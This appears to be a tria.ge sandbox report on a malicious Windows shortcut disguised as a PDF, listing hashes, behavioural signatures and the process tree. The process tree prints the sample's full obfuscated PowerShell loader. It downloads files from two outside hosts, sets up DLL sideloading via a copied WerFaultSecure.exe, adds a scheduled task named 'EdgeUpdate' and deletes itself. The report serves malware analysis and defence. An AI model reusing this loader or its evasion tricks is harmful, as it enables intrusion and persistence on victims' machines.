Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Analysis
-
max time kernel
145s -
max time network
138s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
19/09/2024, 05:42
Static task
static1
Behavioral task
behavioral1
Sample
186523.pdf.lnk
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
186523.pdf.lnk
Resource
win10v2004-20240802-en
General
-
Target
186523.pdf.lnk
-
Size
3KB
-
MD5
7007778e4e8c98c94d20b0243b7743f1
-
SHA1
c771ee88e3951e337a26ebfdcfc1218d414dbdad
-
SHA256
d7b278d20f47203da07c33f646844e74cb690ed802f2ba27a74e216368df7db9
-
SHA512
25f21b662a55b64818b70d593b680bd3e1e05dbf0ee018cbd3912327006e0d5334df5552e9e469afe01797c3e00fc4c65aefbe45bce943d1944642babee87fcf
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 6 3688 powershell.exe 12 3688 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation cmd.exe -
Deletes itself 1 IoCs
pid Process 3688 powershell.exe -
Executes dropped EXE 3 IoCs
pid Process 872 WerFaultSecure.EXE 1904 WerFaultSecure.EXE 3536 WerFaultSecure.EXE -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 1348 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 3688 powershell.exe 3688 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3688 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 3428 conhost.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3280 wrote to memory of 3428 3280 cmd.exe 83 PID 3280 wrote to memory of 3428 3280 cmd.exe 83 PID 3428 wrote to memory of 3688 3428 conhost.exe 84 PID 3428 wrote to memory of 3688 3428 conhost.exe 84 PID 3688 wrote to memory of 1348 3688 powershell.exe 85 PID 3688 wrote to memory of 1348 3688 powershell.exe 85 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\186523.pdf.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3280 -
C:\Windows\System32\conhost.exe"C:\Windows\System32\conhost.exe" powershell $ProgressPreference = 'SilentlyContinue';i''w''r https://jihang.scapematic.info/eqhgrh/uybvjxosg -OutFile C:\ProgramData\186523.pdf;s''a''p''s C:\ProgramData\186523.pdf;i''w''r https://shianchi.scapematic.info/jhgfd/jkhxvcf -OutFile "C:\ProgramData\hal";r''e''n -Path "C:\ProgramData\hal" -NewName "C:\ProgramData\wer.dll";c''p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c''p''i 'C:\ProgramData\186523.pdf' -destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n EdgeUpdate /t''r 'C:\ProgramData\WerFaultSecure' /f;e''r''a''s''e *d?.?n?2⤵
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $ProgressPreference = 'SilentlyContinue';i''w''r https://jihang.scapematic.info/eqhgrh/uybvjxosg -OutFile C:\ProgramData\186523.pdf;s''a''p''s C:\ProgramData\186523.pdf;i''w''r https://shianchi.scapematic.info/jhgfd/jkhxvcf -OutFile C:\ProgramData\hal;r''e''n -Path C:\ProgramData\hal -NewName C:\ProgramData\wer.dll;c''p C:\Windows\System32\WerFaultSecure.exe C:\ProgramData\WerFaultSecure.exe;c''p''i 'C:\ProgramData\186523.pdf' -destination .;sch''ta''s''ks /c''r''e''a''te /S''c minute /T''n EdgeUpdate /t''r 'C:\ProgramData\WerFaultSecure' /f;e''r''a''s''e *d?.?n?3⤵
- Blocklisted process makes network request
- Deletes itself
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3688 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /Sc minute /Tn EdgeUpdate /tr C:\ProgramData\WerFaultSecure /f4⤵
- Scheduled Task/Job: Scheduled Task
PID:1348
-
-
-
-
C:\ProgramData\WerFaultSecure.EXEC:\ProgramData\WerFaultSecure.EXE1⤵
- Executes dropped EXE
PID:872
-
C:\ProgramData\WerFaultSecure.EXEC:\ProgramData\WerFaultSecure.EXE1⤵
- Executes dropped EXE
PID:1904
-
C:\ProgramData\WerFaultSecure.EXEC:\ProgramData\WerFaultSecure.EXE1⤵
- Executes dropped EXE
PID:3536
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
167KB
MD531ab2e1751e5e446961bf169962ee1c4
SHA1dcd724261283c0f830260258b9ca21c772743169
SHA2561c35464f9a39da371549d8b44ef7838f6b8e17ac1d0aafd8a5593eb7ca960cbb
SHA512c58377203ee48d5d9195a6510c431f6053ff4aa5d46ef83a861e5c6aabd042ae150fd6cec18478e03fd1838fe0f70eac45395e1b5ff1bf23d67735d20611ee89
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82